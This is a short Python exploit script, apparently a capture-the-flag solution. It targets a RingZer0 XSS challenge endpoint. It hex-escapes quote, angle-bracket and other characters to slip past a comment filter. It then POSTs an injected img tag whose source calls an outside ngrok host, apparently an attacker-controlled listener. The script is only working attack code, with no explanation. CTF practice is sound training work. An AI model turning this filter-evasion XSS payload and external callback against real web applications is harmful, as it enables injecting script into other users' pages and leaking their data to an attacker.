#!/usr/bin/env python3

import http.client
import urllib.parse

payload = '<img src="http://f5fbab8d.ngrok.io">'


def js_escape(s):
    special = ['"', "&", "'", "<", ">", "|", "."]

    out = ""
    for c in s:
        if c in special:
            out += f"\\x{ord(c):02x}"
        else:
            out += c
    return out


params = urllib.parse.urlencode({
    "username": "foo",
    "comment": js_escape(payload)
})
headers = {
    "Content-type": "application/x-www-form-urlencoded"
}
conn = http.client.HTTPConnection("challenges.ringzer0team.com:10100")
conn.request("POST", "/xss5/", params, headers)
conn.close()
